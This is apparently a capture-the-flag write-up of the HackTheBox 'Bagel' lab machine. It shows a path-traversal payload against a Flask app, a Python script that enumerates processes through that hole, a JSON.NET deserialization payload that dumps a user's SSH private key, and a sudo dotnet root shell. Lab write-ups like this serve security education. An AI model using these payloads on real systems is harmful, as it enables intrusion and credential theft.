Bagel Writeup
03 June 2023 #CTF #HTB #box #medium #linuxTry to crop properly challenge (i lost).
Enumeration
nmap
$ sudo nmap -sC -sV 10.10.11.201
[...]
# Nmap 7.93 scan initiated Fri May 19 15:18:17 2023 as: /usr/bin/nmap -v -n -Pn -T4 -p 22,5000,8000, -sC -sV -oN enum/scripts-tcp.nmap 10.10.11.201
Nmap scan report for 10.10.11.201
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey:
| 256 6e4e1341f2fed9e0f7275bededcc68c2 (ECDSA)
|_ 256 80a7cd10e72fdb958b869b1b20652a98 (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 400 Bad Request
| Server: Microsoft-NetCore/2.0
| Date: Fri, 19 May 2023 13:18:28 GMT
| Connection: close
| HTTPOptions:
| HTTP/1.1 400 Bad Request
| Server: Microsoft-NetCore/2.0
| Date: Fri, 19 May 2023 13:18:43 GMT
| Connection: close
| Help, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date: Fri, 19 May 2023 13:18:54 GMT
| Content-Length: 52
| Connection: close
| Keep-Alive: true
| <h1>Bad Request (Invalid request line (parts).)</h1>
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date: Fri, 19 May 2023 13:18:28 GMT
| Content-Length: 54
| Connection: close
| Keep-Alive: true
|_ <h1>Bad Request (Invalid request line (version).)</h1>
8000/tcp open http-alt Werkzeug/2.2.2 Python/3.10.9
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date: Fri, 19 May 2023 13:18:28 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date: Fri, 19 May 2023 13:18:23 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 263
| Location: http://bagel.htb:8000/?page=index.html
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
| Socks5:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('
| ').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html
[...]
HTTP
After adding bagel.htb
to /etc/hosts
, we get a basic page:
We see an interesting page
parameter. We can get LFI with a simple directory traversal payload:
$ curl --path-as-is '10.10.11.201:8000/?page=../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
[...]
We know from the Server header that this is a python app, and we can get the source code at ../app.py
:
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/'+request.args.get('page')
if os.path.isfile(page):
resp=send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "File not found"
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302)
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
except:
return("Unable to connect")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
Process Enumeration
The comment above suggests that the app on port 5000 is a .NET DLL that needs to be ran with dotnet <filename>.dll
.
We can use the LFI to bruteforce each /proc/<pid>/cmdline
to see where that DLL is located (so we can download and analyze it).
Here is a little python script that uses the asyncio and aiohttp modules to do that (it takes forever if you do it synchronously):
import asyncio, aiohttp
target = "http://bagel.htb:8000/"
async def getprocess(session, pid):
param = {
"page": f"../../../../proc/{pid}/cmdline"
}
async with session.get(target, params=param) as res:
if res.status != 200:
print(f"failed to get pid: {pid}")
else:
out = await res.text()
if out != "File not found" and len(out) != 0:
out = out.replace("\x00", " ")
print(f"{pid:5} -> {out}")
async def main():
async with aiohttp.ClientSession() as session:
tasks = []
for pid in range(1, 8000):
tasks.append((getprocess(session, pid)))
await asyncio.gather(*tasks)
try:
asyncio.run(main())
except KeyboardInterrupt:
pass
Here we go:
$ python3 lfi-ps.py
[...]
891 -> dotnet /opt/bagel/bin/Debug/net6.0/bagel.dll
[...]
Cool, we found the absolute path to the DLL. Now download it with curl
:
$ curl --path-as-is -o bagel.dll 'bagel.hbt:8000/?page=../../../../opt/bagel/bin/Debug/net6.0/bagel.dll' -s
Foothold
.NET Reversing
We can use a .NET decompiler like dnSpy (Windows only) to get the C# code.
There is a hardcoded password in the DB
class:
public class DB {
[Obsolete("The production team has to decide where the database server will be hosted. This method is not fully implemented.")]
public void DB_connection() {
string text = "Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K";
SqlConnection sqlConnection = new SqlConnection(text);
}
}
However, we can't use SSH with a password:
$ ssh dev@10.10.11.201
[...]
dev@10.10.11.201: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
It only accepts public/private keys (and some other stuff).
The JSON input is deserialized by this function:
public object Deserialize(string json) {
object result;
try {
result = JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings {
TypeNameHandling = 4
});
} catch {
result = "{\"Message\":\"unknown\"}";
}
return result;
}
It's converting the JSON into an instance of the Base
class. This class inherits (which is weird for a class called Base
) from another class called Orders
:
public class Base : Orders
{
[...]
This Orders
class has a public setter ReadOrder
which is the one the flask app is interacting with:
public string ReadOrder
{
get
{
return this.file.ReadFile;
}
set
{
this.order_filename = value;
this.order_filename = this.order_filename.Replace("/", "");
this.order_filename = this.order_filename.Replace("..", "");
this.file.ReadFile = this.order_filename;
}
}
It protects against directory traversal and since the Replace
is broken down in two calls, I don't think there is a way to bypass it.
It's then calling another setter ReadFile
on the File
class:
public string ReadFile
{
get
{
return this.file_content;
}
set
{
this.filename = value;
this.ReadContent(this.directory + this.filename);
}
}
public void ReadContent(string path)
{
try
{
IEnumerable<string> values = File.ReadLines(path, Encoding.UTF8);
this.file_content += string.Join("\n", values);
}
catch (Exception ex)
{
this.file_content = "Order not found!";
}
}
[...]
private string directory = "/opt/bagel/orders/";
private string filename = "orders.txt";
This setter will try to read a file on a hardcoded path based on the filename we give it as argument. There are no directory traversal protections in place in this case.
JSON.NET Deserialization
The interesting part is TypeNameHandling
(in the JsonConvert.DeserializeObject
call) set to 4
which is Auto
(docs). This means that we can specify type metadata in our JSON object.
In order to exploit it, we need to find a gadget in the Base
or Orders
classes. There is one in Orders
:
public object RemoveOrder { get; set; }
It is perfect for us because it is a public getter/setter with an object
type. The object
type is a generic type, meaning we can "cast" it to anything we want.
In our case, we want it to be a File
object in order to use the ReadFile
setter to read files on the server (we can't use it directly because it only wants Base
or Orders
objects).
Here is the payload to read Phil's private SSH key:
{
"RemoveOrder": {
"$type": "bagel_server.File, bagel",
"ReadFile": "../../../../home/phil/.ssh/id_rsa"
}
}
We say that RemoveOrder
is a File
object, and we use the ReadFile
setter to read the SSH key with a directory traversal payload.
Here is a research paper with much more detailed explanations (and better ones).
We can interact with the websocket server with a tools like wscat
(install the node-ws
package):
$ wscat -c ws://bagel.htb:5000
Connected (press CTRL+C to quit)
> {"RemoveOrder":{"$type":"bagel_server.File, bagel","ReadFile":"../../../../home/phil/.ssh/id_rsa"}}
< {
"UserId": 0,
"Session": "Unauthorized",
"Time": "8:12:56",
"RemoveOrder": {
"$type": "bagel_server.File, bagel",
"ReadFile": "-----BEGIN OPENSSH PRIVATE KEY-----\n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\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\n-----END OPENSSH PRIVATE KEY-----",
"WriteFile": null
},
"WriteOrder": null,
"ReadOrder": null
}
We just have to replace all \n
with an actual new line and chmod 0600
the key to be able to use it.
Privesc
Phill to Developer
We can use the password (k8wdAYYKyhnjg3K
) we found hardcoded in the DLL to log in as developer:
[phill@bagel ~]$ su -l developer
Password:
[developer@bagel ~]$ whoami
developer
Developer to root
Developer can run sudo
:
[developer@bagel ~]$ sudo -l
Matching Defaults entries for developer on bagel:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin
User developer may run the following commands on bagel:
(root) NOPASSWD: /usr/bin/dotnet
dotnet
is in GTFOBins:
sudo dotnet fsi
[...]
> System.Diagnostics.Process.Start("/bin/bash").WaitForExit();;
[root@bagel developer]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
The fsi
command drops us into an interactive shell where we can execute arbitrary .NET code.
Key Takeaways
- Even JSON is kinda spooky